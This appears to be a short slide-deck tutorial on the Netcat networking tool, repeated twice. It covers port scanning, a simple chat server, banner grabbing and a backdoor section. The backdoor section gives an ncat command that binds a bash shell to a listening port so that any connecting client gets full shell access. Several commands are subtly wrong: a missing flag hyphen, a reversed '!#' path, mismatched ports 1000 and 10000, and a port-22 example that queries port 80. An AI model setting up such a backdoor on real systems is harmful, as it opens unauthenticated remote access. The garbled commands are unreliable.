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Netcat

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penetration Tester

Netcat is a versatile networking tool that can be used for port scanning, port redirection, listening for incoming connections, and creating remote connections. It allows creating a simple command line chat server by running nc in listen mode on one system and connecting to it from another. Netcat can also identify services running on specific ports by obtaining port banners, and has been used by hackers to create backdoors by launching a shell on a listened port.

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Netcat
Netcat • Netcat (or nc in short) is a simple yet powerful networking command- line tool used for performing any operation in Linux related to TCP, UDP, or UNIX-domain sockets. • Netcat can be used for port scanning, port redirection, as a port listener (for incoming connections); it can also be used to open remote connections and so many other things. Besides, you can use it as a backdoor to gain access to a target server.
Port Scanning Netcat can be used for port scanning: to know which ports are open and running services on a target machine. It can scan a single or multiple or a range of open ports. Here is an example, the -z option sets nc to simply scan for listening daemons, without actually sending any data to them. The -v option enables verbose mode and -w specifies a timeout for connection that can not be established. $ nc -v -w 2 z 192.168.56.1 22 #scan a single port OR $ nc -v -w 2 z 192.168.56.1 22 80 #scan multiple ports OR $ nc -v -w 2 z 192.168.56.1 20-25 #scan range of ports
Create a Command Line Chat Server You can also use Netcat to create a simple command-line messaging server instantly. As in the previous usage example, nc must be installed on both systems used for the chat room. On one system, run the following command to create the chat server listening on port 5000. $ nc -l -vv -p 5000 On the other system, run the following command to launch a chat session to a machine where the messaging server is running. $ nc 192.168.56.1 5000
Find a Service Running on Port You can also use Netcat to obtain port banners. In this case, it will tell you what service is running behind a certain port. For example to know what type of service is running behind port 22 on a specific server, run the following command (replace 192.168.56.110 with the target server’s IP address). The -n flag means to disable DNS or service lookups. $ nc -v -n 192.168.56.110 80
Create a Backdoor via nc NC command can also be used to create backdoor to your systems and and this technique is actually used by hackers a lot. To create a backdoor, the command is, $ ncat -l 1000 -e !#/bin/bash. "e" flag attaches a bash to port 10000. Now a client can connect to port 10000 on server and will have complete access to our system via bash. $ncat 192.168.1.100 10000

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Netcat

  • 2. Netcat • Netcat (or nc in short) is a simple yet powerful networking command- line tool used for performing any operation in Linux related to TCP, UDP, or UNIX-domain sockets. • Netcat can be used for port scanning, port redirection, as a port listener (for incoming connections); it can also be used to open remote connections and so many other things. Besides, you can use it as a backdoor to gain access to a target server.
  • 3. Port Scanning Netcat can be used for port scanning: to know which ports are open and running services on a target machine. It can scan a single or multiple or a range of open ports. Here is an example, the -z option sets nc to simply scan for listening daemons, without actually sending any data to them. The -v option enables verbose mode and -w specifies a timeout for connection that can not be established. $ nc -v -w 2 z 192.168.56.1 22 #scan a single port OR $ nc -v -w 2 z 192.168.56.1 22 80 #scan multiple ports OR $ nc -v -w 2 z 192.168.56.1 20-25 #scan range of ports
  • 4. Create a Command Line Chat Server You can also use Netcat to create a simple command-line messaging server instantly. As in the previous usage example, nc must be installed on both systems used for the chat room. On one system, run the following command to create the chat server listening on port 5000. $ nc -l -vv -p 5000 On the other system, run the following command to launch a chat session to a machine where the messaging server is running. $ nc 192.168.56.1 5000
  • 5. Find a Service Running on Port You can also use Netcat to obtain port banners. In this case, it will tell you what service is running behind a certain port. For example to know what type of service is running behind port 22 on a specific server, run the following command (replace 192.168.56.110 with the target server’s IP address). The -n flag means to disable DNS or service lookups. $ nc -v -n 192.168.56.110 80
  • 6. Create a Backdoor via nc NC command can also be used to create backdoor to your systems and and this technique is actually used by hackers a lot. To create a backdoor, the command is, $ ncat -l 1000 -e !#/bin/bash. "e" flag attaches a bash to port 10000. Now a client can connect to port 10000 on server and will have complete access to our system via bash. $ncat 192.168.1.100 10000